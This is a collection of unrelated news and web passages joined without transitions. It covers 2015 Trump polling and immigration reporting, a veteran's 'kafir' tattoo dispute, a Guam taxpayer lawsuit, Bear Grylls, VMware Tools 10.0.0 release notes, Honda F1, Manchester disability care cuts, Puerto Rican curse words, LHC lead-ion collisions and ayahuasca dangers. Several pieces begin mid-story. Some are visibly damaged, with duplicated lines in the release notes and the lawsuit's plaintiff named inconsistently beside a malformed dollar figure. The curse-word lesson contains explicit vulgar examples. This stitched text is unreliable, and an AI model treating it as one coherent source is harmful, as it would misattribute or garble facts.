His surge has come at the expense of other Republican hopefuls. Bush’s support has fallen from 22 percent last month to 14 percent now, Walker has seen a decrease of two percentage points, and Rubio’s standing has dropped from 14 percent support in June to just five percent support now.
Trump is running first with independent-leaning Republican primary voters, winning 19 percent of their support. And he captures about a quarter of GOP voters who say that they could not see themselves supporting Jeb Bush for president in 2016.
Those who say they consider themselves conservative are equally split between Trump and Walker, with about 18 percent backing each man.
And Tea Party supporters most favor Ted Cruz (22 percent), with Trump (20 percent) and Walker (20 percent) close behind.
Donald Trump’s plans for a “deportation force” to round up the approximately 11 million undocumented immigrants in the country always seemed far-fetched. Now it looks like the candidate may be starting to walk away from it, while also hinting he could be open to legalizing at least some of those who are in the country without the proper papers. Trump’s new campaign manager, Kellyanne Conway, refused to say during a CNN interview whether the presidential candidate was still planning to set up a deportation force. “To be determined,” Conway said.
In an effort to clarify Trump’s immigration stance, Conway avoided getting into too many specifics about what the candidate’s plans could be if he reaches the White House. “What he supports is to make sure we enforce the law, that we are respectful of those Americans who are looking for jobs, and that we are fair and humane to those who live among us,” she said on CNN’s State of the Union.
Conway was repeatedly asked about immigration after both Univision and BuzzFeed reported that Trump sounded like someone who could be open to legalize some of the undocumented immigrants who are already in the country at a meeting with Hispanic leaders on Saturday. “He said people who are here is the toughest part of the immigration debate, that it must be something that respects border security but deals with this in a humane and efficient manner,” said an immigration lawyer who took part in the meeting with Trump’s Hispanic advisory council.
Univision says Trump will be presenting an immigration plan on Thursday “that will include finding a way to legalize millions of undocumented immigrants.” Even though Trump never actually uttered the word “legalization” during the Saturday meeting, BuzzFeed claims “sources in the room said they feel it is the direction the campaign is going.”
The Trump campaign immediately disputed that characterizations of the talk, adding that the candidate didn’t say anything at the meeting “that he hasn’t said many times before.” A senior RNC official also disputed the reports, telling Breitbart that Trump “gave zero indication” that he was open to legalization of undocumented immigrants. Conway continued with that line on CNN, emphasizing that what Trump said at the meeting “varied little from what he has said publicly.”
Although he has repeatedly called for deporting the country’s undocumented immigrants, Trump also told Bloomberg in June that he would not say “mass deportations” are part of his immigration plan. “We are going to get rid of a lot of bad dudes who are here,” he said.
This talk of a possible shift in Trump’s immigration plans comes mere days after the candidate released his first national election television ad that focused on the importance of border security. “Terrorists and dangerous criminals kept out, the border secure, our families safe,” the narrator of the ad says.
LAKE WALES | The Arabic word, translated simply, means "unbeliever."
Ever since Eddie Bryant had it inked across his right calf, the former National Guard member has gotten positive reactions, he said, until last week.
Bryant walked into Florida Skydiving Center on April 3 in shorts, his tattoo of the word "kafir" exposed. A group from Qatar, a Middle Eastern country with an overwhelmingly Muslim population, also was visiting.
A staffer tapped Bryant, 27, on the shoulder as he stood under a hangar at the Lake Wales business.
Would he mind seeing the manager, Betty Hill?
Hill, 59, and Bryant disagree over certain details of what happened next. But the version Bryant posted on his website has spread from blog to blog in the past week, leading to a flood of angry emails and calls to the Florida Skydiving Center in Lake Wales that Hill — still getting criticism a week later — never expected.
Hill and Bryant agree that in a brief conversation in her office, she asked him to cover the tattoo.
A member of the Qatari group, made up mostly of military police from the country and some civilians, she said, had quietly approached a staffer because they found the tattoo offensive.
When Bryant explained he didn't have pants to wear, both of them say, Hill suggested he cover it with a piece of duct tape.
"It seemed like a joke that anyone would suggest that," said Bryant, who has returned to his home in the Cleveland area. "But I knew she was serious."
Here's where they disagree: Bryant said when they came to the impasse, he was forced to leave.
"Well, cover it or leave," he said Hill told him.
Hill said she gave him no such ultimatum.
When she asked him to cover the tattoo, Hill said she was acting only on knowledge that the Qataris, a group of customers that numbered more than 30, were somehow offended.
She had little notion of the word's religious meaning and that Bryant was a veteran, she said.
She wanted to keep "everything status quo, normal and everyone happy."
"It's just hurtful," Hill said of the responses she has since received. "It shows you how sensitive things are with all the things that are going on in our world."
Bryant served in Iraq with the 259th Engineer Company of the Arizona Army National Guard.
He said he served in the country for about 12 months between 2006 and 2007.
Before leaving the military in January 2010, he earned the Purple Heart, he said, after he survived a roadside bomb explosion.
A friend and fellow veteran urged Bryant to get a tattoo that matched his: Arabic letters that spelled "kafir," he said.
After the friend committed suicide, Bryant decided to do that during a 2011 trip to Daytona.
"For me, it's a combination of a religious statement and just something to express the things I went through in war," he said.
On his blog, Bryant defines the word as "unbeliever." That basic translation is accurate, said Shaul Gabbay, a senior researcher at the University of Denver's Josef Korbel School of International Studies, but it has a weighty meaning for Muslims.
For them, the word is pejorative, defining someone who rejects Islam.
For many, the word "would be a simple definition of an atheist," Gabbay said, "but for them, it's much more than that. It's not just a simple interpretation of the word.
"One of most important ways to define a society is by pointing to who does not belong to the society. So for Muslims, this is basically defining who is the other, who is the challenger of their religious tenet."
The tattoo would be similar to someone with the message "Not A Patriot" on their skin in the United States, said Kevin Reinhart, a professor at Dartmouth College in Hanover, N.H., who specializes in Islamic religious studies.
"It's kind of in your face," Reinhart said. "Technically, the term means people who have rejected God."
Hill says Bryant had asked a staffer on his initial visit days before the incident whether his tattoo would be offensive. Bryant disputes that, saying he didn't.
Now knowing more about what the word means, Hill, who owns a business at the Lake Wales Municipal Airport that services planes, said she isn't sure what she would have done differently.
"I guess sometimes as a business owner you don't know what the complete ramifications are," she said. "But we get educated afterward, don't we?"
Besides Rapadas, AG chief deputy Philip Tydingco and then acting AG John Weisenberger were also named defendants of a lawsuit filed by a Guam taxpayer, William C. Bischoff, in Superior Court.
Rapadas was elected AG and assumed the position in Jan. 2011. Since that time, Bischoff said the then-AG approved an independent contract for John Patrick Mason who filled the position of deputy of the Civil and Solicitor Division of the AG’s office.
Mason’s independent contract amounted to $157,1186 per year and was paid to him through taxpayer money. The contract was annually renewed from Jan. 3, 2011 through Sept. 17, 2014.
Schoff said Mason’s position was not authorized in any law to be filled with an independent contractor.
Schoff said Mason, during these years of serving the AG’soffice through an independent contract, had also been double-dipping which is a violation of the law.
Mason, Schoff claimed, has been receiving an annuity of approximately $52,000 per year pursuant to the Government of Guam Defined Benefit Plan.
Documents have been attached to Schoff’s complaint, along with other records and documentations relating to the issue.
Under the budget law for four fiscal years — Public Laws 30-196, 31-77, 31-233, and 32-068 — Schoff said the AG’s office was allowed to enter into independent contractor’s contract for attorney’s services only for areas in which it is “impracticable and impossible” for the AG’s office to do with its employed attorneys.
These laws, Schoff added, also emphatically required that such contracts “shall be in accordance with procurement laws of Guam.”
He said the contract with Mason was not in accordance with the procurement laws of Guam.
Rapadas, the complainant said, at least once, either personally or by and through his authorized agent, Phillip J. Tydingco, his chief deputy attorney general, signed a re-certification for Mason’s contract, certifying that Mason was providing services in areas in which it was impracticable or impossible for the AG’s office to proceed with its employed attorneys.
Schoff said since the time Rapadas became AG in Jan. 2011, he “expended without proper appropriation, without proper authority, and illegally the taxpayer money to pay for Mason’s unlawful contract.”
Pursuant to the enforcement of Proper Government Spending Act, Schoff is seeking a personal judgment against Rapadas in favor of the government of Guam for the return to the government of all money paid to Mason on his independent contractor’s contract in the years that Rapadas was responsible for government money being paid to Mason.
For defendant Tydingco, the complainant is seeking personal judgment for the return to GovGuam, jointly and severally with Weisenberger and Rapadas, all amounts that the two are found liable.
That cool, calm composure in the face of adversity.
Too far? Bear Grylls 'wouldn't think twice' about eating human flesh
Fondness for caves and living off cliff faces. Tendency to enter through the window.
All signs that Bear Grylls isn’t your average guy. And neither are his eating habits.
The survivalist said he “wouldn’t think twice” about turning to cannibalism.
Undated handout photo issued by ITV of (left to right) Jamelia, Laurence Fox, Emilia Fox, Tom Rosenthal, Bear Grylls, Vogue Williams, Mike Tindall, Dame Kelly Holmes and Max George, in the forthcoming ITV show Bear Grylls' Mission Survive on ITV
Read more: Vogue ditched brother's wedding to do Bear Grylls' TV show
“Of course,” he continued. “If it was one of my sons and I, left in the jungle, I'd insist he ate me.
“One of the greatest stories ever is Alive. The people who died insisted they ate them. I wouldn't think twice about it if I had to.”
Grylls went on to admit he is no stranger to feasting on exotic flesh. As well as having ingested over 100 rattle snakes in his time, he’s also sampled “raw goats' testicles, a camel's intestinal fluids or bear poo... or maybe elephant dung, snakes and scorpions.”
The Island with Bear Grylls
Although unlike Madonna, he isn’t a fan of drinking urine.
“It's terrible and people always ask me in bars if I want a pint of urine,” he told Heat. “I'm not one of those people who does it for fun, though.”
Dear friends,
you may have heard of or participated in our successful 2012 conference in Hamburg. For three days hundreds of students, intellectuals and activists came together and discussed perspectives to overcome the current, crisis-struck system of capitalist modernity and the ideas of the Kurdish freedom movement and others on this topic.
We are happy to announce our second conference with the title “Challenging Capitalist Modernity II: Dissecting Capitalist Modernity–Building Democratic Confederalism”. This confer- ence will take place on the Easter weekend, 3-5 April 2015, in Hamburg. This second conference shall also focus on the critique of the capitalist modernity but most importantly it will in detail talk about how to build its alternative. Thus economy and women’s freedom shall be two main themes in the 2015 conference. It will not only be bigger (the Audimax takes up to 1200 people), but –we expect– even better.
What's in the Release Notes
What's New
The release notes cover the following topics:
VMware Tools is a suite of utilities that enhances the performance of the virtual machine's guest operating system and improves management of the virtual machine. Read about the new and enhanced features in this release below:
Common versioning : Infrastructure changes to enable reporting of true versions for VMware Tools Operating System Specific Packages. These changes will depend on host support.
: Infrastructure changes to enable reporting of true versions for VMware Tools Operating System Specific Packages. These changes will depend on host support. Common Agent Framework : Common Agent Framework (CAF) provides the basic services necessary to simplify secure and efficient management of agents inside the guest virtual machines.
: Common Agent Framework (CAF) provides the basic services necessary to simplify secure and efficient management of agents inside the guest virtual machines. Quiesced snapshots enhancements on Linux : Robustness related enhancements in quiesced snapshot operation. vmtoolsd service supports caching of log messages when guest I/O has been quiesced. Enhancements in vmbackup plug in to use a separate thread to quiesce the guest operating system to avoid timeout issues due to heavy I/O in the guest.
: Robustness related enhancements in quiesced snapshot operation. service supports caching of log messages when guest I/O has been quiesced. Enhancements in plug in to use a separate thread to quiesce the guest operating system to avoid timeout issues due to heavy I/O in the guest. Shared folders : For Linux distributions with kernel version 4.0.0 and higher, there is a new FUSE based Shared Folders client which is used as a replacement for the kernel mode client.
: For Linux distributions with kernel version 4.0.0 and higher, there is a new FUSE based Shared Folders client which is used as a replacement for the kernel mode client. ESXi serviceability : Default vmtoolsd logging is directed to a file instead of Syslog or Event Viewer. Enhanced VMwareToolboxCmd.exe on Windows and vmware-toolbox-cmd on Linux to change vmtoolsd logging levels.
: Default logging is directed to a file instead of Syslog or Event Viewer. Enhanced on Windows and on Linux to change logging levels. GuestInfo enhancements : Plug in enhancements to report more than 64 IP addresses from the guest. These enhancements will depend on host support.
: Plug in enhancements to report more than 64 IP addresses from the guest. These enhancements will depend on host support. TLS Support : VMware Tools 10.0.0 supports SSLv3, TLSv1, TLSv1.1 and TLSv1.2.
: VMware Tools 10.0.0 supports SSLv3, TLSv1, TLSv1.1 and TLSv1.2. OpenSSL: OpenSSL is updated to version 1.0.1p.
Before You Begin
Important note about upgrading to ESXi 5.5 Update 3b or later
For resolution on incompatibility and general guidelines while upgrading ESXi hosts to ESXi 5.5 Update 3b or ESXi 6.0 Update 1 or later, while using older versions of Horizon View Agent, please refer to the knowledge base articles below:
Connecting to View desktops with Horizon View Agent 5.3.5 or earlier hosted on ESXi 5.5 Update 3b or later fails with a black screen.
Connecting to View desktops with Horizon View agent 6.0.x or 6.1.x hosted on ESXi 5.5 Update 3b or later fails with a black screen.
Connecting to View desktops with Horizon View Agent 6.1.x hosted on ESXi 6.0 Update 1 or later fails with a black screen.
Internationalization
VMware Tools 10.0.0 is available in the following languages:
English
French
German
Spanish
Italian
Japanese
Korean
Simplified Chinese
Traditional Chinese
Compatibility
VMware Tools 10.0.0 is compatible with supported versions of VMware vSphere ESXi 5.0 and later, VMware Workstation 12.0 and VMware Fusion 8.0. See VMware Compatibility Guide for more information.
Guest Operating System Customization Support
The Guest OS Customization Support Matrix provides details about the guest operating systems supported for customization.
Installation and upgrades for this release
VMware Tools can be downloaded from the Product Download page.
VMware Tools Operating System Specific Packages can be downloaded from http://packages.vmware.com/tools/releases/index.html.
The steps to install VMware Tools vary depending on your VMware product and the guest operating system you have installed. For general steps to install VMware Tools in most VMware products, see General VMware Tools installation instructions (1014294) or the Installing and Configuring VMware Tools Guide.
For specific instructions to install, upgrade, and configure VMware Tools, see VMware Documentation page.
Product Support Notices
VMware Tools 10.0.0 enables support for DirectX 10.0 and OpenGL 3.3 on Windows guests when used with VMware Workstation 12.0, VMware Fusion 8.0 and a future release of VMware vSphere where the virtual device supports the required feature.
Known Issues
The known issues are as follows:
Attempting to connect to the View desktop results in a black screen
While upgrading VMware vSphere to version 6.0 Update 1, VMware Tools to the latest version for View desktops, and installing the older View Agent, you might see an error similar to the following in the View agent PCOIP logs located at DriveLetter:\ProgramData\VMware\VDM\logs
LVL:0 RC:0 IMG_FRONTEND :Calling open display in Tera2 mode.
LVL:0 RC:0 IMG_FRONTEND :configure_displays: 1 display(s) initially reported!
LVL:2 RC:0 IMG_FRONTEND :configure_displays: (1) single display[0]: pos:(0, 0) w: 1024, h: 768, bpp: 32
LVL:0 RC:0 IMG_FRONTEND :configure_display[0]--* id: 48 mon_id: 0 pos: (0,0) w: 1024 h: 768
LVL:0 RC:0 IMG_FRONTEND :configure_display[0]--bpp: 32 --pitch: 4096 --map size: 1552 --fb size: 3145728
LVL:0 RC:0 IMG_FRONTEND :configure_display[0]--rot: 0 --pre-rot pitch: 4096 --frontend motion is enabled
LVL:0 RC:0 EXTERN :svga_devtap ==> second render failed: 0xc0000008
LVL:0 RC:0 EXTERN :svga_devtap ==> Error: screen dma failed
LVL:0 RC:0 IMG_FRONTEND :flip_frame_buffer: General flip error [1 results for 1 displays]: [4001, 0]
LVL:0 RC:-500 IMG_FRONTEND :open_displays(): Flip error in open display first flip.
While upgrading VMware vSphere to version 6.0 Update 1, VMware Tools to the latest version for View desktops, and installing the older View Agent, you might see an error similar to the following in the View agent PCOIP logs located at This issue occurs because the video driver installed with VMware Tools is incompatible with older versions of the View Agent. Workaround: To workaround this issue, follow one of these recommendations as appropriate. It is not recommended to install VMware Tools 10.0.0 or later for users using an version older than Horizon View Agent version 6.2
Install the latest version of Horizon View Agent 6.2. Alternatively, if the View Agent 6.2 cannot be installed, remove the existing agent and tools, install an older version of VMware Tools followed by the required View Agent
Installing VMware Tools on OS X 10.10 fails
Installing VMware Tools on OS X 10.10 fails with an error similar to the following:
Installing VMware Tools on OS X 10.10 fails with an error similar to the following:
“The installation failed”
Workaround: Uninstall VMware Tools before installing VMware Tools 10.0.0.
The status of IPv6 address is displayed as "unknown"
The status of IPv6 address from vim-cmd is displayed as "unknown" even when the address is valid. Workaround: None.
Copying and pasting text between host and guest systems fail
Copy and paste of text between host and guest systems fail if the text size is 50KB or higher. Workaround: Copy and paste smaller amount of text.
Installing VMware Tools on Windows 2000 Professional SP4 fails with an error
While installing ThinPrint drivers on Windows 2000 Professional SP4 with VMware Tools 10.0.0 fails with an error prompt.
Workaround: To workaround this issue, follow one of these recommendations as appropriate. For users who have installed ThinPrint, it is recommended not to update VMware Tools to version 10.0.0.
For users who have not installed ThinPrint, it is recommended not to install ThinPrint with VMware Tools 10.0.0.
Using clobber option while installing VMware Tools on Linux guests might fail
Using clobber option while installing VMware Tools on Linux guests might fail while booting the virtual machine.
In a bid to make its partnership with McLaren work, Honda had been running an aggressive development plan that yielded upgrades at Spa and Monza.
However, it is keen to avoid giving Fernando Alonso and Stoffel Vandoorne multiple grid penalties at upcoming races, even if there are small gains to be had, in favour of one big upgrade.
“One of the points is we want to minimise the engine upgrades for the rest of the season, but that is because we’d like to get the maximum results within this year,” said Honda’s Formula 1 project leader Yusuke Hasegawa.
“Previously we just prioritised the performance improvement because any improvement is continuing for next year, so we didn’t need to hesitate to introduce upgrades.
“But now we won’t be working together with Stoffel and Fernando next year, that means we want to concentrate on this year’s results for McLaren.
“I prefer to score more points this year, I’d like to contribute to this team, most of all.
“But of course if we can get some huge upgrade, then we don’t need to wait and don’t need to hesitate to take a penalty.”
Honda continues to work on its next upgrade, but Hasegawa said it is unclear when and if it will be introduced.
“We have another six races left so we may introduce one more engine as a plan,” he said. “That could maybe be in Malaysia, Suzuka or the US.
“From that point of view we will try and avoid the penalty in Suzuka obviously, and the US could be a very good potential circuit for us based on the last years' results.
“Malaysia could be a chance but it’s too soon to say. It will be difficult so I cannot confirm.”
Meanwhile, Honda traced the double MGU-K shaft problem Vandoorne had encountered at Monza back to a batch issue.
The family of a man with severe learning disabilities say the funding for his care was cut by more than £400 a week without him even being seen by assessors.
Ruth Holland, 54, from Burnage, has been told the weekly allowance she receives from Manchester council for her son Paul, 33, is being cut from more than £500 to just £79.
Paul has a rare genetic disorder called Wolf-Hirschhorn Syndrome, which has left him unable to speak or dress himself and needing 24-hour care.
She says the cuts mean he will no longer be able to go to the Heathfields day centre in Newton Heath, which he attends five days a week. Other parents have spoken about their fears for the future of their adult children if their funding is cut. They said agencies have been carrying out some assessments without even seeing the disabled person whose needs are being assessed.
Mrs Holland says she was asked by an assessor if they could speak to her son on the phone.
She said: “I’m so angry. It’s like he is a bag of trash to them that can just be thrown out. If he can’t go to the centre, he won’t be Paul any more. It will stop him from having even any quality of life.
“He will have nothing. They are doing it to all of them and it’s not fair. Paul cannot speak, but he has got a voice and they are people at the end of the day. At the moment, I am my son’s voice and I don’t intend to stop until I get somewhere.”
Mrs Holland has launched an appeal against the proposed changes to her son’s funding.
Volunteers at the Talbot House parents’ support group in Newton Heath say at least 30 parents have contacted them with concerns about reassessments in recent days.
Bernie Wood, general manager of Talbot House parents’ support group, said: “The cuts are absolutely brutal. We’re very concerned about the health and welfare of elderly parents especially. We need to ask, is this a cutting society or a caring society.”
Manchester council has slashed £40m from adult services over the last two years.
Coun Paul Andrews, executive member for families, health and well-being, said: “Manchester has had severe funding cuts and it’s impossible to lose that magnitude of money without changing services.”
Leaving aside the sarcasm, this article is meant to show you ten Puerto Rican curse words that are commonly used in the Caribbean nation and Boricua residents all over the US. When you learn some of these Puerto Rican curse words, you’ll be bit more intimate with Puerto Rican culture and you’ll also learn a little bit about the “the underworld” of Puerto Rico.
Here we go, before or after reading the article, check out the audios of each word being used by a Gritty Spanish Voice actor in a real sentence!
Remember, if you want to really take your Spanish to another level, be sure to check out our Gritty Spanish Audio Stories!
1. Bicho
Literal: Bug.
In the rest of Latin America, “bicho” means insect, but in Puerto Rico, “bichos” are said to be “insects.” And what do you think is called “bicho” in vulgar language of Puerto Rico? That’s right, you’ve guessed it, “Penis“.
Examples:
“Oye venia anoche caminando por la cuadra y de repente salió un perro, el muy cabrón me mordió y casi me arranca el bicho.”
“Hey I was walking around the block last night and suddenly a dog came out, that bastard bit me and almost ripped my dick off.”
“Me compré unos pantalones nuevos, pero me equivoque de talla, están tan apretados que me están ahorcando el bicho.”
“I bought some new pants, but I chose the wrong size, they’re so tight that they are strangling my dick”
2. Mamabicho
From the first curse word “bicho” comes this, which is synonymous with someone who sucks penis, the English “dick sucker“. So calling someone “mamabicho” unless it is your trusted friend, could bring problems your way.
Examples:
“El portero de la discoteca es un mamabicho, dejó pasar a los que estaban después de mí y no a mí.”
“The gatekeeper at the club is a dick sucker, he let in the people behind me and not me.”
“El mamabicho de mi jefe no quiere darme el aumento, voy a renunciar.”
“My dick sucker boss doesn’t want to give me a raise, I’m going to quit.”
3. Cabrón
Literal: dumbass, asshole.
In Spanish, “cabrón” is male goat. But for most Latin countries “cabrón” is used to insult someone. For a Latino, a “cabrón” is a man who knows that his wife is cheating on him; he knows it, without defending it in order to keep his woman. Depending on the situation, in Puerto Rico the word “cabrón” can be used in a friendly or offensive way, just as in English you could use “dumbass” to mockingly call a friend.
Examples:
Friendly:
“¡Cabrooón hace cuento tiempo no te veía! Desde la escuela ¿Cómo te ha ido? Me dijeron que te casaste.”
“You asshole long time I ain’t see you! Since school, how have you been? They told me you got married.”
Offensive:
“¡Ven acá maldito cabrón, mamabicho! Me chocaste y te quieres escapar.
Come here asshole, dick sucker! You hit my car and you want to get away.”
4. Lambón > without translation but it is synonymous of “lameculos” = toady, bootlicker.
“Lambón” is possibly exclusive from Puerto Rico since it is not usually heard in other countries. A person who you should not trust, adulatory and treacherous; a bootlicker.
Examples:
“No le cuentes a Luis lo que hicimos, es un lambón y seguro va con el chisme.”
“Don’t tell Luis what we did, he is a ass kisser and he will blow the whistle for sure.”
“No se puede ser más lambón que Juan, se la pasa todo el día detrás de su jefe haciéndole favores para intentar que lo asciendan.”
“You cannot be more toady than Juan, he spends the whole day behind his boss doing him favors to try getting promoted.”
“Ese cabrón, hijo de puta, lambón se robó el dinero que tenía en mi maleta.”
“That asshole, son of a bitch, bootlicker stole the money i had on my suitcase.”
5. Chingar > Literal: To fuck.
“Chingar” is a curse word for several countries like Mexico and Puerto Rico; In other countries it is not seen as a curse word at all. However in Puerto Rico, it means having sex or fornicating. It is also used as an analogy to say that you have been deceived, harmed or defrauded in some way.
Examples:
“Esa Paula sí que está buena, nada más de verla me provoca chingar con ella.”
“That Paula is hot, just by seeing her I want to fuck with her.”
“Ese maldito abogado me va a chingar completamente con el asunto del divorcio.”
“That damn lawyer is going to completely fuck me with the divorce thing.”
6. Chota > without literal translation, is synonymous with being snitch or a Tattle Teller.
A Delator is someone who reveals facts that have been offered in confidence. “Chota” is usually seen with absolute disdain in Puerto Rican society. It comes from the Sanskrit name of a character in Rudyard Kipling’s Gunga Din, whose film version was very popular in Puerto Rico in the early 1940s. Originally the term means “small,” equivalent to “Shorty ” in English.
Examples:
“Julio me delató con la policía, chota cabrón.”
“Julio snitched on me with the police, snitch bastard.”
“Recuerda que esto es entre nosotros, no te vayas de chota y se lo digas a todo el mundo mamabicho.”
“Remember this is between us, don’t play the snitch and tell everyone dick sucker.”
7. Bellaco / Bellaca > Literal: knave, but synonymous with “horny”.
Person experiencing an episode of lust; horny. The episode is an act of “bellaquera”, sometimes euphemistically named “bellacrisis” that is the union of “bellaco” and “crisis”. Something very hard, persistent, strong or difficult.
The word is in theory a bad word Puerto Rico in either of the two contexts.
Examples:
“Cabrón, ayer me fui de putas con Fernando a ver si se me quitaba lo bellaco.”
“Dog, i went whoring with Fernando yesterday to see if I could took the horny away from me.”
“No pensé que este trámite sería tan bellaco, me tiene cansado.”
“I didn’t think this procedure would be so hard, it got me tired.”
8. Sata / Sato > without literal translation.
Person who is promiscuous, someone who constantly proposes to have sex with others or that does it with multiple partners.
Examples:
“Cristina es tremenda sata, ni siquiera esperó 3 días después de terminar conmigo para ya andar chingando con el cabrón Manuel.”
“Cristina is such a whore, she didn’t even waited 3 days after breaking up with me to be fucking already with that asshole Manuel.”
“Hermano, creo que te estás pasando de sato. Ayer te vi con una, hoy con otra, la semana pasada con otra. Tienes que tener cuidado, no vayas a coger una enfermedad.”
“Bro, I think you are being too promiscuous. I saw you yesterday with one, today with another and last week with another woman. You have to be careful, don’t you catch a disease.”
9. Puñeta > Without literal translation, although it resembles “puñetazo” meaning “punch” has nothing to do.
This word is used as an expression of anger or frustration similar to using “” in English to express the same.
Examples:
“Estoy harto de que cojan mis cosas sin pedirme permiso, ¡puñeta!”
“I’m sick of you taking my stuff without my permission, fuck!”
“Puñeta, este maldito carro me tiene la vida amargada, cuando no es una cosa es otra.”
“Fuck, this damn car got my life destroyed, when is not one thing, it’s another.”
Below, at the VERY end of episode 3 of Gritty Spanish Original, in an episode named, “Policía corrupto“(dirty cop), after a cop robbed a guy of his money and drives off, you’ll hear the frustrated and confused fellow say, “Puñeta“(fuck) and the 3rd word we spoke about, “Cabrón“, he even says, “Vete al carajo” which is another curse phrase to tell to tell someone, “go fuck yourself” .
This is one of the MANY reasons why our Gritty Spanish audio stories are so unique and addicting! Listen to that audio clip below.
10. Cojones > Literal: balls, testicles.
This is another curse word shared by several Latin American nations, basically it changes the tone and accent but it means the same thing. It is used to award courage and bravery to a person or, in an ironic tone, to complain about someone else’s unfair action.
Examples:
“Pedro sí que tiene cojones, fue capaz de enfrentarse solo a 5 cabrones la otra noche en el bar y a todos les partió la cara.”
“Pedro, he’s got balls, he was able to face 5 bastards last night alone at the bar and he broke the faces of all of them.”
“Que cojones los tuyos, después de que te ayudé tanto me sales con esta patada en el culo mamabicho traicionero.”
“Such balls you have, after I helped you that much you give me this kick in the ass, dick sucking traitor.”
Update 8:20 a.m. EST November 8: CERN just issued a press release announcing the successful smashing of lead ions in the LHC, and the text and images below have been updated to including information from the first run of lead-ion collisions with stable beams.
The Large Hadron Collider smashed its first lead ions Sunday, November 7 at around 12:30 a.m. Central European Time. The first collisions in the center of the ALICE, ATLAS and CMS collisions took place less than 72 hours after the LHC ended its first run of protons and switched to accelerating lead-ion beams.
The lead-ion collisions take place at an energy of 287 TeV per beam. Why the much higher energy compared to the LHC's 3.5 TeV proton beams? Each lead nucleus contains 82 protons, and the LHC accelerates each proton to an energy of 3.5 TeV, thus resulting in an energy of 287 TeV per beam, or a total collision energy of 574 TeV.
A lead-ion collision as seen by the ATLAS detector.
The first event display shown here was collected by the ALICE experiment during the very first collisions early Sunday morning. Up to 3,000 charged particles were emitted from each collision, shown here as lines radiating from the collision point. The colors of the lines indicate how much energy each particle carried away from the collision.
Sunday's very first collisions were recorded by only part of the ALICE, ATLAS and CMS detectors. For example, the first event display shown here only contains information from ALICE's innermost detector system. ALICE's main system for tracking particles was not switched on for these very first collisions, as the team operating the LHC accelerator had not yet declared "stable beams." The teams operating the LHC experiments only switch on their most sensitive detection equipment when the accelerator team declares stable beams, indicating that the accelerator operators have finished making major adjustments to the beams' trajectory.
One of the CMS experiment's first lead-ion collisions.
The first collisions with stable beams took place at 11:20 a.m. Central European Time on Monday, November 8. The next three images displayed here show lead-ion collisions in the ALICE, ATLAS and CMS experiments with their full detectors switched on and recording data.
More event displays are available online from the ALICE , CMS and ATLAS experiments' websites. When lead-ion beams are colliding, you can watch event displays live from the ATLAS and CMS experiments.
The LHC will collide lead ions until December 6. The accelerator will then shut down for two months for maintenance, and will start up again in February with proton beams.
It is the mind-bending brew which has brought backpackers and gap year students flocking to the jungles of South America in ever greater numbers.
Ayahuasca, a hallucinogenic drink made from vines, has been used in shamanic cleansing rituals for centuries - but has recently become a major tourist draw in the rainforests where it grows, where lodges and retreats offer it as an 'authentic' Amazon experience.
But there is no need to cross an ocean: it can be found here in the UK - offered at retreats and is being taken at parties in idyllic rural towns by people seeking enlightenment.
Natural: The tea has been used for centuries by ancient Amazonian tribes in Brazil, Peru and Columbia whose shamans claim to use the psychedelic substance for healing and contacting the spirit world (file photo)
Tourist attraction: Drinking ayahuasca has become a key part of the backpacker trail for many making their way through South America, drawing people into the rain forest for an 'authentic' Amazon experience
Hidden danger: But what for many is just another gap year experience ends in tragedy for others. New Zealand backpacker Matthew Dawson-Clarke, 24, recently died during a ayahuasca retreat
People don't even need to leave the comfort of their own homes, with websites offering to deliver the 'herb' - legal in the UK and US, but not France or Canada - for less than £9 per 100g.
Frighteningly, the sellers say it would be 'unethical' to tell you how much is safe to take and how to prepare it.
Those looking for a weekend 'detox', including a tea ceremony can easily find them on offer across Europe.
It has even gained a celebrity following in recent years, with Sting and Lindsay Lohan gushing about its transformative qualities.
Yet it is not quite the harmless experience it may at first seem, beyond the violent vomiting it can induce at the start of every trip.
Earlier this month, New Zealander Matthew Dawson-Clarke, 24, who died during an ayahuasca ritual.
For those living with the plant brew on their doorsteps, there is an even darker and more terrifying side to the plant concoction - a side which is never mentioned in the tourist guides.
In Brazil, where consumption of the plant has led to numerous religious cults (one of which even boasts about giving it to newborns), the mind-altering tea has been linked with a string of suicides, murders and cases of mental illness and insanity - often at the very first time of ingesting it.
One mother, whose son allegedly became schizophrenic and committed suicide after taking the substance, said: 'This drug... has taken the lives of many other sons and daughters. It is responsible for the deaths of more people than anyone is willing to admit.'
Died: Bristol teenager Henry Miller's body was found last year after he took part in a ritual involving the tea. Despite this, people continue to attend the ceremonies, with it even becoming popular at parties in the UK
Religion: A healer begins a ayahuasca ceremony in Columbia, like the ones which attract the tourists. But locals are just as likely to be drawn in, especially by the religious cults which use it (file photo)
Warning: Many families have stories of tragedy to share, including that of Deise Faria Ferreira (right), who started drinking the tea with her congregation at a Santo Daime church earlier this year
Meanwhile, families of those caught up in the cults have told of their nightmares in trying to rescue loved ones from the grip of the brew.
The desperate daughter of a woman who recently disappeared during an ayahuasca 'purging ritual' told MailOnline that foreigners who think the drug will give them a cheap thrill should think again 'if they have any love for their own lives'.
She pleaded: 'It is a trip that you might not return from. Your curiosity could kill you, and cause suffering for your family. Please stay well away, you don't know the danger you are putting yourself in.'
Only the Amazonian Indians knew about ayahuasca until early in the last century. They used the vine, found throughout the jungles of Brazil, Peru and Colombia, for healing and contacting the spirit world.
Either my mother became ill and died, and [the cult] got scared and hid her body, or they used her as a sacrifice and murdered her. I don't know what they do in these rituals, I just know that she is no longer alive. Apoena Faria Ferreira
Shamans claimed they would use the drink to enable their 'spirit flight' - to visit their ancestors or descend to the underworld to locate the source of illnesses.
One of the first 'white men' to experience the drug was Brazilian rubber tapper Raimundo Irineu Serra, who founded the religious sect Santo Daime in the 1920s after claiming he saw the Virgin Mary - who appeared as the 'Queen of the Forest' in a vision.
The cult - which uses elements from Christianity and African religions - quickly spread from the northern state of Acre to the rest of Brazil and today is the biggest of the ayahuasca cults, which are believed to have as many as 30,000 members.
Countless other churches have sprung up since 2010, when Brazil's lawmakers allowed the use of ayahuasca for 'religious purposes'.
Fabio Pedalino, the leader of the Ceu do Gamarra church in south-east Brazil, which is part of the Santo Daime doctrine, told MailOnline it was 'impossible' that ayahuasca could take anyone's life.
He said he had never heard of anyone dying after taking the drink. adding: 'Newborns drink it, older people over 90 drink it. I've never seen or heard of any problems.'
Pedalino is 'completely against' the export of the plant brew - which they call Daime - to Europe for people to use for recreational purposes, without converting to their religion.
He said: 'This drink doesn't work without the doctrine. It's not worth having a Ferrari if you don't have a road to drive it down. Our doctrine is our road.'
